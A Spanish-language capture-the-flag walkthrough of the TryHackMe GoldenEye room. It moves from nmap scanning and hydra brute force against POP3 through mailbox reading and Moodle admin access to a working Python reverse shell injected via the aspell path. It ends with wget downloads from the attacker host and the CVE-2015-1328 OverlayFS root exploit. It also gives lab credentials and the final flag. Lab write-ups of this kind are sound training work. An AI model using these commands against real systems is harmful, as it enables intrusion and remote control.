Fase 1: Reconocimiento (Escaneo de Puertos)
El primer paso es realizar un escaneo completo de puertos para mapear los servicios expuestos en el host objetivo.
Escaneo Completo de Nmap
Se ejecuta un escaneo completo de puertos TCP (-p-) determinando versiones (-sV) y scripts de reconocimiento básico (-A), con velocidad agresiva (-T5):
sudo nmap -sV -A -T5 -p- 10.129.188.5
Resultados Clave de Nmap
El escaneo revela 4 puertos abiertos de interés:
- Puerto 25 (SMTP): Servidor de correo
Postfix smtpd. - Puerto 80 (HTTP): Servidor web
Apache httpd 2.4.7(Ubuntu). - Puerto 55006 (SSL/POP3): Servidor de correo
Dovecot pop3d. - Puerto 55007 (POP3): Servidor de correo
Dovecot pop3d.
Fase 2: Enumeración y Acceso Inicial
1. Inspección del Servidor Web (Puerto 80)
Accedemos a la raíz del servidor web a través de la dirección IP por HTTP: http://10.129.188.5/. La página de inicio nos presenta la interfaz de la estación de control auxiliar “Severnaya”.
Inspeccionamos el código fuente HTML de la página web principal:
2. Extracción de Credenciales en terminal.js
Accedemos al código del script expuesto en http://10.129.188.5/terminal.js. En él localizamos un bloque de comentarios dirigido a Boris con una contraseña codificada en entidades HTML:
InvincibleHack3r
Además, se incluye una pista relevante: “BTW Natalya says she can break your codes”.
Decodificamos las entidades HTML utilizando la herramienta en línea HTML to ASCII Converter de Browserling, revelando la contraseña en texto claro:
- Usuario:
boris - Contraseña:
InvincibleHack3r
3. Acceso a /sev-home/
Con estas credenciales, intentamos entrar al directorio web protegido en http://10.129.188.5/sev-home/ a través de la solicitud de autenticación básica del navegador:
El login es exitoso. La página nos confirma que la estación POP3 ha sido configurada en un puerto no estándar muy alto para mayor seguridad.
Fase 3: Enumeración de Servicios y Fuerza Bruta en POP3
1. Pruebas de Reutilización de Credenciales
Intentamos usar las credenciales de Boris (boris:InvincibleHack3r) en el servicio SMTP (puerto 25) y POP3 (puerto 55007):
- SMTP: Al conectarnos mediante
openssl s_cliente intentar autenticarnos conAUTH LOGIN, el servidor nos devuelve un error:503 5.5.1 Error: authentication not enabled.
- POP3: Al conectarnos mediante
telnetal puerto 55007, el login conPASS InvincibleHack3rresulta fallido.
2. Fuerza Bruta a POP3 (Usuario Boris)
Debido a que la contraseña no se reutiliza en este servicio, lanzamos un ataque de fuerza bruta con hydra contra el puerto 55007 usando el diccionario fasttrack.txt:
hydra -l boris -P /usr/share/wordlists/fasttrack.txt pop3://10.129.188.5:55007 -t 64
- Usuario:
boris - Contraseña POP3:
secret1!
3. Lectura de Emails de Boris
Nos conectamos vía telnet y leemos los 3 correos electrónicos guardados en el buzón utilizando el comando RETR:
- Mensaje 1: Correo de bienvenida del administrador.
- Mensaje 2: Mensaje enviado por Natalya retando a Boris: “Boris, I can break your codes!”, confirmando el nombre del usuario
natalya.
- Mensaje 3: Correo de
alec@janus.bossdiscutiendo el plan y mencionando que una vez que una usuaria llamada Xenia acceda al sitio de entrenamiento, el plan continuará.
4. Fuerza Bruta a POP3 (Usuario Alec y Natalya)
Intentamos realizar fuerza bruta contra la cuenta de alec (tanto janus como alec@janus.boss) en POP3 sin éxito:
Posteriormente, dirigimos el ataque de fuerza bruta contra el usuario natalya mediante hydra:
hydra -l natalya -P /usr/share/wordlists/fasttrack.txt pop3://10.129.188.5:55007 -t 64
- Usuario:
natalya - Contraseña POP3:
bird
5. Lectura de Emails de Natalya
Iniciamos sesión vía telnet en la cuenta de Natalya y listamos sus correos:
- Mensaje 1: Notificación de que el sindicato criminal Janus está intentando infiltrar el sistema.
- Mensaje 2: Mensaje del root que incluye las credenciales de la nueva estudiante Xenia para la plataforma Moodle, la subruta del sitio de entrenamiento (
/gnocertdir) y la instrucción de agregar la IP de la máquina al nombre de dominiosevernaya-station.comen el archivo/etc/hostslocal.
- Credenciales de Moodle obtenidas:
- Usuario:
xenia - Contraseña:
RCP90rulez! - Sitio web:
severnaya-station.com/gnocertdir
- Usuario:
Fase 4: Acceso a Moodle y Obtención de Credenciales de Administrador
1. Configuración de /etc/hosts
Agregamos la línea necesaria al archivo /etc/hosts de nuestra máquina atacante para poder resolver el dominio de forma correcta:
10.129.188.5 severnaya-station.com
2. Acceso a Moodle como Xenia
Accedemos a http://severnaya-station.com/gnocertdir/login/index.php en nuestro navegador e iniciamos sesión con la cuenta de xenia:
Una vez logueados, nos dirigimos a la sección de mensajería interna. Encontramos un mensaje de Dr Doak indicándonos que su usuario de correo electrónico es doak y nos aconseja contactarle vía email ante cualquier duda.
3. Fuerza Bruta a POP3 (Usuario Doak)
Ejecutamos fuerza bruta contra la cuenta de correo de doak en el puerto 55007:
hydra -l doak -P /usr/share/wordlists/fasttrack.txt pop3://10.129.188.5:55007 -t 64
- Usuario POP3:
doak - Contraseña POP3:
goat
4. Acceso al correo de Doak
Nos logueamos vía telnet en el buzón POP3 del Dr. Doak y leemos el correo disponible:
- Credenciales Moodle del Dr. Doak:
- Usuario:
dr_doak - Contraseña:
4England!
- Usuario:
5. Acceso a Moodle como Dr. Doak y Archivo Secreto
Salimos de la sesión de Xenia e iniciamos sesión en Moodle como el usuario dr_doak:
Dentro del panel, en la sección “My private files” (Archivos privados), encontramos el archivo s3cret.txt. Al abrirlo, vemos una nota indicando que las credenciales de administración se encuentran capturadas en texto claro dentro de los metadatos de la imagen for-007.jpg ubicada en /dir007key/for-007.jpg.
Descargamos la imagen /dir007key/for-007.jpg del servidor web:
6. Análisis de Metadatos y Decodificación
En lugar de usar la terminal, abrimos las propiedades del fichero for-007.jpg directamente desde el gestor de archivos de Kali Linux en la pestaña “Image”:
El metadato de descripción contiene la cadena: eFdpbnRlcjE5OTV4IQ== (mostrada en la captura como eFdpbnRlcjE5OTV4IQ sin relleno).
Accedemos a la plataforma en línea base64decode.org para decodificar esta cadena:
- Usuario Administrador Moodle:
admin - Contraseña Moodle:
xWinter1995x!
Fase 5: Explotación y Acceso Inicial (RCE en Moodle)
1. Acceso de Administrador a Moodle
Iniciamos sesión en el portal Moodle utilizando la cuenta de administrador:
2. Configuración de Aspell para Execución de Comandos
Moodle permite definir la ruta del binario aspell usado en su editor HTML (TinyMCE). Para explotarlo y obtener ejecución de comandos:
- Navegamos a la sección de administración del editor TinyMCE.
- Cambiamos la opción Spell engine (motor ortográfico) de su valor por defecto a
PSpellShell. - En el campo Path to aspell, inyectamos una reverse shell en Python parametrizada para conectar a nuestra IP atacante (
192.168.149.112) en el puerto9001:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.149.112",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
3. Obtención de la Shell Reversa
Dejamos a la escucha nuestro puerto en Kali:
nc -lvnp 9001
Para activar el payload, creamos una nueva publicación en Moodle y hacemos clic en el icono de revisión ortográfica (spellcheck). El editor invoca el comando inyectado y recibimos la shell reversa interactiva como el usuario www-data:
Fase 6: Escalamiento de Privilegios
1. Enumeración Interna
Utilizando la máquina atacante en la IP 192.168.149.112, levantamos un servidor HTTP rápido en Python para transferir el script de enumeración de privilegios linuxprivchecker.py:
python3 -m http.server 8000
En la máquina víctima, descargamos y ejecutamos el script:
wget http://192.168.149.112:8000/linuxprivchecker.py
python linuxprivchecker.py
El script recopila información básica del sistema, revelando que el kernel del sistema operativo objetivo es vulnerable a la explotación local de OverlayFS:
2. Transferencia del Exploit de Kernel (CVE-2015-1328)
Descargamos el código fuente en C de la explotación local de OverlayFS (overlayfs.c):
wget http://192.168.149.112:8000/overlayfs.c
3. Compilación y Ejecución con CC
El compilador regular gcc no está disponible en la máquina víctima. Sin embargo, el compilador básico cc sí está presente.
Para que la compilación interna de la librería compartida que realiza el exploit no falle, sustituimos las llamadas hardcodeadas de gcc por cc dentro del código fuente utilizando sed:
sed -i "s/gcc/cc/g" overlayfs.c
cc overlayfs.c -o ofs
Otorgamos permisos de ejecución al ejecutable de salida y lo ejecutamos:
chmod +x ofs
./ofs
4. Captura de la Flag Final
Una vez que obtenemos privilegios de root (uid=0), listamos el directorio /root y visualizamos el contenido del archivo oculto .flag.txt:
cat /root/.flag.txt
- Flag final de root:
568628e0d993b1973adc718237da6e93 - Enlace de recompensa final:
/006-final/xvf7-flag/
La máquina ha sido totalmente comprometida de principio a fin.
Fuentes y Referencias
- TryHackMe - GoldenEye Room: Enlace a la sala oficial del laboratorio.
- HTML to ASCII Converter (Browserling): Herramienta en línea utilizada para decodificar las entidades HTML.
- Base64 Decode Online Tool: Suite de decodificación Base64 en línea para la clave de administración.
- Exploit Database (CVE-2015-1328): Detalles del exploit de escalada local de privilegios para la implementación de OverlayFS.